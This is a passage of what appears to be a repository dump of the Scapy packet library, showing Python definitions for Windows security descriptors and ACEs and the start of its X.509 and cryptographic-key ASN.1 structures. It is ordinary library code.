WINNT_ACCESS_ALLOWED_OBJECT_ACE.fields_desc\n\n\nbind_layers(WINNT_ACE_HEADER, WINNT_SYSTEM_AUDIT_OBJECT_ACE, AceType=0x07)\n\n\n# [MS-DTYP] sect 2.4.4.12\n\n\nclass WINNT_SYSTEM_AUDIT_CALLBACK_ACE(Packet):\n    fields_desc = WINNT_SYSTEM_AUDIT_ACE.fields_desc + [\n        PacketField(\n            \"ApplicationData\", WINNT_APPLICATION_DATA(), WINNT_APPLICATION_DATA\n        ),\n    ]\n\n\nbind_layers(WINNT_ACE_HEADER, WINNT_SYSTEM_AUDIT_CALLBACK_ACE, AceType=0x0D)\n\n\n# [MS-DTYP] sect 2.4.4.13\n\n\nclass WINNT_SYSTEM_MANDATORY_LABEL_ACE(Packet):\n    fields_desc = WINNT_SYSTEM_AUDIT_ACE.fields_desc\n\n\nbind_layers(WINNT_ACE_HEADER, WINNT_SYSTEM_MANDATORY_LABEL_ACE, AceType=0x11)\n\n\n# [MS-DTYP] sect 2.4.4.14\n\n\nclass WINNT_SYSTEM_AUDIT_CALLBACK_OBJECT_ACE(Packet):\n    fields_desc = WINNT_SYSTEM_AUDIT_OBJECT_ACE.fields_desc\n\n\nbind_layers(WINNT_ACE_HEADER, WINNT_SYSTEM_AUDIT_CALLBACK_OBJECT_ACE, AceType=0x0F)\n\n# [MS-DTYP] sect 2.4.10.1\n\n\nclass CLAIM_SECURITY_ATTRIBUTE_RELATIVE_V1(_NTLMPayloadPacket):\n    _NTLM_PAYLOAD_FIELD_NAME = \"Data\"\n    fields_desc = [\n        LEIntField(\"NameOffset\", 0),\n        LEShortEnumField(\n            \"ValueType\",\n            0,\n            {\n                0x0001: \"CLAIM_SECURITY_ATTRIBUTE_TYPE_INT64\",\n                0x0002: \"CLAIM_SECURITY_ATTRIBUTE_TYPE_UINT64\",\n                0x0003: \"CLAIM_SECURITY_ATTRIBUTE_TYPE_STRING\",\n                0x0005: \"CLAIM_SECURITY_ATTRIBUTE_TYPE_SID\",\n                0x0006: \"CLAIM_SECURITY_ATTRIBUTE_TYPE_BOOLEAN\",\n                0x0010: \"CLAIM_SECURITY_ATTRIBUTE_TYPE_OCTET_STRING\",\n            },\n        ),\n        LEShortField(\"Reserved\", 0),\n        FlagsField(\n            \"Flags\",\n            0,\n            -32,\n            {\n                0x0001: \"CLAIM_SECURITY_ATTRIBUTE_NON_INHERITABLE\",\n                0x0002: \"CLAIM_SECURITY_ATTRIBUTE_VALUE_CASE_SENSITIVE\",\n                0x0004: \"CLAIM_SECURITY_ATTRIBUTE_USE_FOR_DENY_ONLY\",\n                0x0008: \"CLAIM_SECURITY_ATTRIBUTE_DISABLED_BY_DEFAULT\",\n                0x0010: \"CLAIM_SECURITY_ATTRIBUTE_DISABLED\",\n                0x0020: \"CLAIM_SECURITY_ATTRIBUTE_MANDATORY\",\n            },\n        ),\n        LEIntField(\"ValueCount\", 0),\n        FieldListField(\n            \"ValueOffsets\", [], LEIntField(\"\", 0), count_from=lambda pkt: pkt.ValueCount\n        ),\n        _NTLMPayloadField(\n            \"Data\",\n            lambda pkt: 16 + pkt.ValueCount * 4,\n            [\n                ConditionalField(\n                    StrFieldUtf16(\"Name\", b\"\"),\n                    lambda pkt: pkt.NameOffset,\n                ),\n                # TODO: Values\n            ],\n            offset_name=\"Offset\",\n        ),\n    ]\n\n\n# [MS-DTYP] sect 2.4.4.15\n\n\nclass WINNT_SYSTEM_RESOURCE_ATTRIBUTE_ACE(Packet):\n    fields_desc = WINNT_ACCESS_ALLOWED_ACE.fields_desc + [\n        PacketField(\n            \"AttributeData\",\n            CLAIM_SECURITY_ATTRIBUTE_RELATIVE_V1(),\n            CLAIM_SECURITY_ATTRIBUTE_RELATIVE_V1,\n        )\n    ]\n\n\nbind_layers(WINNT_ACE_HEADER, WINNT_SYSTEM_RESOURCE_ATTRIBUTE_ACE, AceType=0x12)\n\n# [MS-DTYP] sect 2.4.4.16\n\n\nclass WINNT_SYSTEM_SCOPED_POLICY_ID_ACE(Packet):\n    fields_desc = WINNT_ACCESS_ALLOWED_ACE.fields_desc\n\n\nbind_layers(WINNT_ACE_HEADER, WINNT_SYSTEM_SCOPED_POLICY_ID_ACE, AceType=0x13)\n\n# [MS-DTYP] sect 2.4.5\n\n\nclass WINNT_ACL(Packet):\n    fields_desc = [\n        ByteField(\"AclRevision\", 2),\n        ByteField(\"Sbz1\", 0x00),\n        # Total size including header:\n        # AclRevision(1) + Sbz1(1) + AclSize(2) + AceCount(2) + Sbz2(2)\n        FieldLenField(\n            \"AclSize\",\n            None,\n            length_of=\"Aces\",\n            adjust=lambda _, x: x + 8,\n            fmt=\"<H\",\n        ),\n        FieldLenField(\"AceCount\", None, count_of=\"Aces\", fmt=\"<H\"),\n        ShortField(\"Sbz2\", 0),\n        PacketListField(\n            \"Aces\",\n            [],\n            WINNT_ACE_HEADER,\n            count_from=lambda pkt: pkt.AceCount,\n        ),\n    ]\n\n    def toSDDL(self):\n        return [x.toSDDL() for x in self.Aces]\n\n\n# [MS-DTYP] 2.4.6 SECURITY_DESCRIPTOR\n\n\nclass SECURITY_DESCRIPTOR(_NTLMPayloadPacket):\n    OFFSET = 20\n    _NTLM_PAYLOAD_FIELD_NAME = \"Data\"\n    fields_desc = [\n        ByteField(\"Revision\", 0x01),\n        ByteField(\"Sbz1\", 0x00),\n        FlagsField(\n            \"Control\",\n            0x00,\n            -16,\n            [\n                \"OWNER_DEFAULTED\",\n                \"GROUP_DEFAULTED\",\n                \"DACL_PRESENT\",\n                \"DACL_DEFAULTED\",\n                \"SACL_PRESENT\",\n                \"SACL_DEFAULTED\",\n                \"DACL_TRUSTED\",\n                \"SERVER_SECURITY\",\n                \"DACL_COMPUTED\",\n                \"SACL_COMPUTED\",\n                \"DACL_AUTO_INHERITED\",\n                \"SACL_AUTO_INHERITED\",\n                \"DACL_PROTECTED\",\n                \"SACL_PROTECTED\",\n                \"RM_CONTROL_VALID\",\n                \"SELF_RELATIVE\",\n            ],\n        ),\n        LEIntField(\"OwnerSidOffset\", None),\n        LEIntField(\"GroupSidOffset\", None),\n        LEIntField(\"SACLOffset\", None),\n        LEIntField(\"DACLOffset\", None),\n        _NTLMPayloadField(\n            \"Data\",\n            OFFSET,\n            [\n                ConditionalField(\n                    PacketField(\"OwnerSid\", WINNT_SID(), WINNT_SID),\n                    lambda pkt: pkt.OwnerSidOffset != 0,\n                ),\n                ConditionalField(\n                    PacketField(\"GroupSid\", WINNT_SID(), WINNT_SID),\n                    lambda pkt: pkt.GroupSidOffset != 0,\n                ),\n                ConditionalField(\n                    PacketField(\"SACL\", WINNT_ACL(), WINNT_ACL),\n                    lambda pkt: pkt.Control.SACL_PRESENT,\n                ),\n                ConditionalField(\n                    PacketField(\"DACL\", WINNT_ACL(), WINNT_ACL),\n                    lambda pkt: pkt.Control.DACL_PRESENT,\n                ),\n            ],\n            offset_name=\"Offset\",\n        ),\n    ]\n\n    def post_build(self, pkt, pay):\n        # type: (bytes, bytes) -> bytes\n        return (\n            _NTLM_post_build(\n                self,\n                pkt,\n                self.OFFSET,\n                {\n                    \"OwnerSid\": 4,\n                    \"GroupSid\": 8,\n                    \"SACL\": 12,\n                    \"DACL\": 16,\n                },\n                config=[\n                    (\"Offset\", _NTLM_ENUM.OFFSET),\n                ],\n            )\n            + pay\n        )\n\n    def show_print(self):\n        \"\"\"\n        Print the SECURITY_DESCRIPTOR in a human format\n        \"\"\"\n        print(\"Owner:\", self.OwnerSid.summary())\n        print(\"Group:\", self.GroupSid.summary())\n        if getattr(self, \"DACL\", None):\n            print(\"DACL:\")\n            for ace in self.DACL.Aces:\n                print(\" - \", ace.toSDDL())\n        if getattr(self, \"SACL\", None):\n            print(\"SACL:\")\n            for ace in self.SACL.Aces:\n                print(\" - \", ace.toSDDL())\n"
  },
  {
    "path": "scapy/layers/x509.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Philippe Biondi <phil@secdev.org>\n# Acknowledgment: Arnaud Ebalard & Maxence Tury\n\n# Cool history about this file: http://natisbad.org/scapy/index.html\n\n\"\"\"\nX.509 certificates, OCSP, CRL, CMS and other crypto-related ASN.1 structures\n\"\"\"\n\nfrom scapy.asn1.ber import BER_Decoding_Error\nfrom scapy.asn1.mib import conf  # loads conf.mib\nfrom scapy.asn1.asn1 import (\n    ASN1_Codecs,\n    ASN1_IA5_STRING,\n    ASN1_OID,\n    ASN1_PRINTABLE_STRING,\n    ASN1_UTC_TIME,\n    ASN1_UTF8_STRING,\n)\nfrom scapy.asn1packet import ASN1_Packet\nfrom scapy.asn1fields import (\n    ASN1F_BIT_STRING_ENCAPS,\n    ASN1F_BIT_STRING,\n    ASN1F_BMP_STRING,\n    ASN1F_BOOLEAN,\n    ASN1F_CHOICE,\n    ASN1F_enum_INTEGER,\n    ASN1F_ENUMERATED,\n    ASN1F_field,\n    ASN1F_FLAGS,\n    ASN1F_GENERALIZED_TIME,\n    ASN1F_IA5_STRING,\n    ASN1F_INTEGER,\n    ASN1F_ISO646_STRING,\n    ASN1F_NULL,\n    ASN1F_OID,\n    ASN1F_omit,\n    ASN1F_optional,\n    ASN1F_PACKET,\n    ASN1F_PRINTABLE_STRING,\n    ASN1F_SEQUENCE_OF,\n    ASN1F_SEQUENCE,\n    ASN1F_SET_OF,\n    ASN1F_STRING_ENCAPS,\n    ASN1F_STRING_PacketField,\n    ASN1F_STRING,\n    ASN1F_T61_STRING,\n    ASN1F_UNIVERSAL_STRING,\n    ASN1F_UTC_TIME,\n    ASN1F_UTF8_STRING,\n)\nfrom scapy.packet import Packet\nfrom scapy.fields import (\n    MultipleTypeField,\n    PacketField,\n)\nfrom scapy.volatile import ZuluTime, GeneralizedTime\nfrom scapy.compat import plain_str\n\nfrom scapy.layers.tpm import KeyAttestationStatement\n\n\nclass ASN1P_OID(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_OID(\"oid\", \"0\")\n\n\nclass ASN1P_INTEGER(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_INTEGER(\"number\", 0)\n\n\nclass ASN1P_PRIVSEQ(ASN1_Packet):\n    # This class gets used in x509.uts\n    # It showcases the private high-tag decoding capacities of scapy.\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(\n        ASN1F_IA5_STRING(\"str\", \"\"),\n        ASN1F_STRING(\"int\", 0),\n        explicit_tag=0,\n        flexible_tag=True)\n\n\n#######################\n#     RSA packets     #\n#######################\n# based on RFC 3447\n\n# It could be interesting to use os.urandom and try to generate\n# a new modulus each time RSAPublicKey is called with default values.\n# (We might have to dig into scapy field initialization mechanisms...)\n# NEVER rely on the key below, which is provided only for debugging purposes.\nclass RSAPublicKey(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(\n        ASN1F_INTEGER(\"modulus\", 10),\n        ASN1F_INTEGER(\"publicExponent\", 3))\n\n\nclass RSAOtherPrimeInfo(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(\n        ASN1F_INTEGER(\"prime\", 0),\n        ASN1F_INTEGER(\"exponent\", 0),\n        ASN1F_INTEGER(\"coefficient\", 0))\n\n\nclass RSAPrivateKey(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(\n        ASN1F_enum_INTEGER(\"version\", 0, [\"two-prime\", \"multi\"]),\n        ASN1F_INTEGER(\"modulus\", 10),\n        ASN1F_INTEGER(\"publicExponent\", 3),\n        ASN1F_INTEGER(\"privateExponent\", 3),\n        ASN1F_INTEGER(\"prime1\", 2),\n        ASN1F_INTEGER(\"prime2\", 5),\n        ASN1F_INTEGER(\"exponent1\", 0),\n        ASN1F_INTEGER(\"exponent2\", 3),\n        ASN1F_INTEGER(\"coefficient\", 1),\n        ASN1F_optional(\n            ASN1F_SEQUENCE_OF(\"otherPrimeInfos\", None,\n                              RSAOtherPrimeInfo)))\n\n####################################\n#      Diffie Hellman Packets      #\n####################################\n# From X9.42 (or RFC3279)\n\n\nclass ValidationParms(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(\n        ASN1F_BIT_STRING(\"seed\", \"\"),\n        ASN1F_INTEGER(\"pgenCounter\", 0),\n    )\n\n\nclass DomainParameters(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(\n        ASN1F_INTEGER(\"p\", 0),\n        ASN1F_INTEGER(\"g\", 0),\n        ASN1F_INTEGER(\"q\", 0),\n        ASN1F_optional(ASN1F_INTEGER(\"j\", 0)),\n        ASN1F_optional(\n            ASN1F_PACKET(\"validationParms\", None, ValidationParms),\n        ),\n    )\n\n\nclass DHPublicKey(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_INTEGER(\"y\", 0)\n\n\n####################################\n#          ECDSA packets           #\n####################################\n# based on RFC 3279 & 5480 & 5915\n\n\nclass ECFieldID(ASN1_Packet):\n    # No characteristic-two-field support for now.\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(\n        ASN1F_OID(\"fieldType\", \"prime-field\"),\n        ASN1F_INTEGER(\"prime\", 0))\n\n\nclass ECCurve(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(\n        ASN1F_STRING(\"a\", \"\"),\n        ASN1F_STRING(\"b\", \"\"),\n        ASN1F_optional(\n            ASN1F_BIT_STRING(\"seed\", None)))\n\n\nclass ECSpecifiedDomain(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(\n        ASN1F_enum_INTEGER(\"version\", 1, {1: \"ecpVer1\"}),\n        ASN1F_PACKET(\"fieldID\", ECFieldID(), ECFieldID),\n        ASN1F_PACKET(\"curve\", ECCurve(), ECCurve),\n        ASN1F_STRING(\"base\", \"\"),\n        ASN1F_INTEGER(\"order\", 0),\n        ASN1F_optional(\n            ASN1F_INTEGER(\"cofactor\", None)))\n\n\nclass ECParameters(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_CHOICE(\"curve\", ASN1_OID(\"ansip384r1\"),\n                             ASN1F_OID,      # for named curves\n                             ASN1F_NULL,     # for implicit curves\n                             ECSpecifiedDomain)\n\n\nclass ECDSAPublicKey(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_BIT_STRING(\"ecPoint\", \"\")\n\n\nclass ECDSAPrivateKey(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(\n        ASN1F_enum_INTEGER(\"version\", 1, {1: \"ecPrivkeyVer1\"}),\n        ASN1F_STRING(\"privateKey\", \"\"),\n        ASN1F_optional(\n            ASN1F_PACKET(\"parameters\", None, ECParameters,\n                         explicit_tag=0xa0)),\n        ASN1F_optional(\n            ASN1F_PACKET(\"publicKey\", None,\n                         ECDSAPublicKey,\n                         explicit_tag=0xa1)))\n\n\nclass ECDSASignature(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(\n        ASN1F_INTEGER(\"r\", 0),\n        ASN1F_INTEGER(\"s\", 0))\n\n\n####################################\n#  Diffie Hellman Exchange Packets #\n####################################\n# based on PKCS#3\n\n# PKCS#3 sect 9\n\nclass DHParameter(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(\n        ASN1F_INTEGER(\"p\", 0),\n        ASN1F_INTEGER(\"g\", 0),\n        ASN1F_optional(\n            ASN1F_INTEGER(\"l\", 0)  # aka. 'privateValueLength'\n        ),\n    )\n\n\n####################################\n#      x25519/x448 packets         #\n####################################\n# based on RFC 8410\n\nclass EdDSAPublicKey(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_BIT_STRING(\"ecPoint\", \"\")\n\n\nclass AlgorithmIdentifier(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(\n        ASN1F_OID(\"algorithm\", None),\n    )\n\n\nclass EdDSAPrivateKey(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(\n        ASN1F_enum_INTEGER(\"version\", 1, {1: \"ecPrivkeyVer1\"}),\n        ASN1F_PACKET(\"privateKeyAlgorithm\", AlgorithmIdentifier(), AlgorithmIdentifier),\n        ASN1F_STRING(\"privateKey\", \"\"),\n        ASN1F_optional(\n            ASN1F_PACKET(\"publicKey\", None,\n                         ECDSAPublicKey,\n                         explicit_tag=0xa1)))\n\n\n######################\n#    X509 packets    #\n######################\n# based on RFC 5280\n\n\n#       Names       #\n\nclass ASN1F_X509_DirectoryString(ASN1F_CHOICE):\n    # we include ASN1 bit strings and bmp strings for rare instances of x500 addresses\n    def __init__(self, name, default, **kwargs):\n        ASN1F_CHOICE.__init__(self, name, default,\n                              ASN1F_PRINTABLE_STRING, ASN1F_UTF8_STRING,\n                              ASN1F_IA5_STRING, ASN1F_T61_STRING,\n                              ASN1F_UNIVERSAL_STRING, ASN1F_BIT_STRING,\n                              ASN1F_BMP_STRING,\n                              **kwargs)\n\n\n# More details on attributes in PKCS#9\n_X509_ATTRIBUTE_TYPE = {}\n\n\nclass _AttributeValue_Field(ASN1F_field):\n    def m2i(self, pkt, s):\n        # Some types have special structures\n        if pkt.underlayer:\n            attrType = pkt.underlayer.type.val\n            if attrType in _X509_ATTRIBUTE_TYPE:\n                return self.extract_packet(\n                    _X509_ATTRIBUTE_TYPE[attrType],\n                    s,\n                    _underlayer=pkt,\n                )\n        try:\n            return super(_AttributeValue_Field, self).m2i(pkt, s)\n        except BER_Decoding_Error:\n            # Do not fail on special attributes\n            return s, b\"\"\n\n    def i2m(self, pkt, x):\n        # The special structures should be just bytes()\n        if pkt.underlayer and pkt.underlayer.type.val in _X509_ATTRIBUTE_TYPE:\n            return bytes(x)\n        return super(_AttributeValue_Field, self).i2m(pkt, x)\n\n\nclass X509_AttributeValue(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = _AttributeValue_Field(\"value\", ASN1_PRINTABLE_STRING(\"FR\"))\n\n\nclass X509_Attribute(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(\n        ASN1F_OID(\"type\", \"2.5.4.6\"),\n        ASN1F_SET_OF(\"values\",\n                     [X509_AttributeValue()],\n                     X509_AttributeValue))\n\n\nclass X509_AttributeTypeAndValue(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(\n        ASN1F_OID(\"type\", \"2.5.4.6\"),\n        ASN1F_X509_DirectoryString(\"value\",\n                                   ASN1_PRINTABLE_STRING(\"FR\")))\n\n\nclass X509_RDN(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SET_OF(\"rdn\", [X509_AttributeTypeAndValue()],\n                             X509_AttributeTypeAndValue)\n\n\nclass X509_OtherName(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(\n        ASN1F_OID(\"type_id\", \"0\"),\n        ASN1F_CHOICE(\"value\", None,\n                     ASN1F_IA5_STRING, ASN1F_ISO646_STRING,\n                     ASN1F_BMP_STRING, ASN1F_UTF8_STRING,\n                     ASN1F_STRING,\n                     explicit_tag=0xa0))\n\n\nclass ASN1F_X509_otherName(ASN1F_SEQUENCE):\n    # field version of X509_OtherName, for usage in [MS-WCCE]\n    def __init__(self, **kargs):\n        seq = [ASN1F_SEQUENCE(*X509_OtherName.ASN1_root.seq,\n                              implicit_tag=0xA0)]\n        ASN1F_SEQUENCE.__init__(self, *seq, **kargs)\n\n\nclass X509_RFC822Name(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_IA5_STRING(\"rfc822Name\", \"\")\n\n\nclass X509_DNSName(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_IA5_STRING(\"dNSName\", \"\")\n\n# XXX write me\n\n\nclass X509_X400Address(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_field(\"x400Address\", \"\")\n\n\n_default_directoryName = [\n    X509_RDN(),\n    X509_RDN(\n        rdn=[X509_AttributeTypeAndValue(\n            type=ASN1_OID(\"2.5.4.10\"),\n            value=ASN1_PRINTABLE_STRING(\"Scapy, Inc.\"))]),\n    X509_RDN(\n        rdn=[X509_AttributeTypeAndValue(\n            type=ASN1_OID(\"2.5.4.3\"),\n            value=ASN1_PRINTABLE_STRING(\"Scapy Default Name\"))])\n]\n\n\nclass X509_DirectoryName(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE_OF(\"directoryName\", _default_directoryName,\n                                  X509_RDN)\n\n\nclass X509_EDIPartyName(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(\n        ASN1F_optional(\n            ASN1F_X509_DirectoryString(\"nameAssigner\", None,\n                                       explicit_tag=0xa0)),\n        ASN1F_X509_DirectoryString(\"partyName\", None,\n                                   explicit_tag=0xa1))\n\n\nclass X509_URI(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_IA5_STRING(\"uniformResourceIdentifier\", \"\")\n\n\nclass X509_IPAddress(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_STRING(\"iPAddress\", \"\")\n\n\nclass X509_RegisteredID(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_OID(\"registeredID\", \"\")\n\n\nclass X509_GeneralName(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_CHOICE(\"generalName\", X509_DirectoryName(),\n                             ASN1F_PACKET(\"otherName\", None, X509_OtherName,\n                                          implicit_tag=0xa0),\n                             ASN1F_PACKET(\"rfc822Name\", None, X509_RFC822Name,\n                                          implicit_tag=0x81),\n                             ASN1F_PACKET(\"dNSName\", None, X509_DNSName,\n                                          implicit_tag=0x82),\n                             ASN1F_PACKET(\"x400Address\", None, X509_X400Address,  # noqa: E501\n                                          explicit_tag=0xa3),\n                             ASN1F_PACKET(\"directoryName\", None, X509_DirectoryName,  # noqa: E501\n                                          explicit_tag=0xa4),\n                             ASN1F_PACKET(\"ediPartyName\", None, X509_EDIPartyName,  # noqa: E501\n                                          explicit_tag=0xa5),\n                             ASN1F_PACKET(\"uniformResourceIdentifier\", None, X509_URI,  # noqa: E501\n                                          implicit_tag=0x86),\n                             ASN1F_PACKET(\"ipAddress\", None, X509_IPAddress,\n                                          implicit_tag=0x87),\n                             ASN1F_PACKET(\"registeredID\", None, X509_RegisteredID,  # noqa: E501\n                                          implicit_tag=0x88))\n\n\n#       Extensions       #\n\nclass X509_ExtAuthorityKeyIdentifier(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(\n        ASN1F_optional(\n            ASN1F_STRING(\"keyIdentifier\", b\"\\xff\" * 20,\n                         implicit_tag=0x80)),\n        ASN1F_optional(\n            ASN1F_SEQUENCE_OF(\"authorityCertIssuer\", None,\n                              X509_GeneralName,\n                              implicit_tag=0xa1)),\n        ASN1F_optional(\n            ASN1F_INTEGER(\"authorityCertSerialNumber\", None,\n                          implicit_tag=0x82)))\n\n\nclass X509_ExtSubjectDirectoryAttributes(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE_OF(\"subjectDirectoryAttributes\",\n                                  [X509_Attribute()],\n                                  X509_Attribute)\n\n\nclass X509_ExtSubjectKeyIdentifier(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_STRING(\"keyIdentifier\", \"xff\" * 20)\n\n\nclass X509_ExtFullName(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE_OF(\"fullName\", [X509_GeneralName()],\n                                  X509_GeneralName, implicit_tag=0xa0)\n\n\nclass X509_ExtNameRelativeToCRLIssuer(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_PACKET(\"nameRelativeToCRLIssuer\", X509_RDN(), X509_RDN,\n                             implicit_tag=0xa1)\n\n\nclass X509_ExtDistributionPointName(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_CHOICE(\"distributionPointName\", None,\n                             X509_ExtFullName, X509_ExtNameRelativeToCRLIssuer)\n\n\n_reasons_mapping = [\"unused\",\n                    \"keyCompromise\",\n                    \"cACompromise\",\n                    \"affiliationChanged\",\n                    \"superseded\",\n                    \"cessationOfOperation\",\n                    \"certificateHold\",\n                    \"privilegeWithdrawn\",\n                    \"aACompromise\"]\n\n\nclass X509_ExtDistributionPoint(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(\n        ASN1F_optional(\n            ASN1F_PACKET(\"distributionPoint\",\n                         X509_ExtDistributionPointName(),\n                         X509_ExtDistributionPointName,\n                         explicit_tag=0xa0)),\n        ASN1F_optional(\n            ASN1F_FLAGS(\"reasons\", None, _reasons_mapping,\n                        implicit_tag=0x81)),\n        ASN1F_optional(\n            ASN1F_SEQUENCE_OF(\"cRLIssuer\", None,\n                              X509_GeneralName,\n                              implicit_tag=0xa2)))\n\n\n_ku_mapping = [\"digitalSignature\",\n               \"nonRepudiation\",\n               \"keyEncipherment\",\n               \"dataEncipherment\",\n               \"keyAgreement\",\n               \"keyCertSign\",\n               \"cRLSign\",\n               \"encipherOnly\",\n               \"decipherOnly\"]\n\n\nclass X509_ExtKeyUsage(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_FLAGS(\"keyUsage\", \"101\", _ku_mapping)\n\n    def get_keyUsage(self):\n        return self.ASN1_root.get_flags(self)\n\n\nclass X509_ExtPrivateKeyUsagePeriod(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(\n        ASN1F_optional(\n            ASN1F_GENERALIZED_TIME(\"notBefore\",\n                                   str(GeneralizedTime(-600)),\n                                   implicit_tag=0x80)),\n        ASN1F_optional(\n            ASN1F_GENERALIZED_TIME(\"notAfter\",\n                                   str(GeneralizedTime(+86400)),\n                                   implicit_tag=0x81)))\n\n\nclass X509_PolicyMapping(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(\n        ASN1F_OID(\"issuerDomainPolicy\", None),\n        ASN1F_OID(\"subjectDomainPolicy\", None))\n\n\nclass X509_ExtPolicyMappings(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE_OF(\"policyMappings\", [], X509_PolicyMapping)\n\n\nclass X509_ExtBasicConstraints(ASN1_Packet):\n    # The cA field should not be optional, but some certs omit it for False.\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(\n        ASN1F_optional(\n            ASN1F_BOOLEAN(\"cA\", False)),\n        ASN1F_optional(\n            ASN1F_INTEGER(\"pathLenConstraint\", None)))\n\n\nclass X509_ExtCRLNumber(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_INTEGER(\"cRLNumber\", 0)\n\n\n_cRL_reasons = [\"unspecified\",\n                \"keyCompromise\",\n                \"cACompromise\",\n                \"affiliationChanged\",\n                \"superseded\",\n                \"cessationOfOperation\",\n                \"certificateHold\",\n                \"unused_reasonCode\",\n                \"removeFromCRL\",\n                \"privilegeWithdrawn\",\n                \"aACompromise\"]\n\n\nclass X509_ExtReasonCode(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_ENUMERATED(\"cRLReason\", 0, _cRL_reasons)\n\n\nclass X509_ExtDeltaCRLIndicator(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_INTEGER(\"deltaCRLIndicator\", 0)\n\n\nclass X509_ExtIssuingDistributionPoint(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(\n        ASN1F_optional(\n            ASN1F_PACKET(\"distributionPoint\",\n                         X509_ExtDistributionPointName(),\n                         X509_ExtDistributionPointName,\n                         explicit_tag=0xa0)),\n        ASN1F_BOOLEAN(\"onlyContainsUserCerts\", False,\n                      implicit_tag=0x81),\n        ASN1F_BOOLEAN(\"onlyContainsCACerts\", False,\n                      implicit_tag=0x82),\n        ASN1F_optional(\n            ASN1F_FLAGS(\"onlySomeReasons\", None,\n                        _reasons_mapping,\n                        implicit_tag=0x83)),\n        ASN1F_BOOLEAN(\"indirectCRL\", False,\n                      implicit_tag=0x84),\n        ASN1F_BOOLEAN(\"onlyContainsAttributeCerts\", False,\n                      implicit_tag=0x85))\n\n\nclass X509_ExtCertificateIssuer(ASN1_Packet):\n    ASN1_codec = 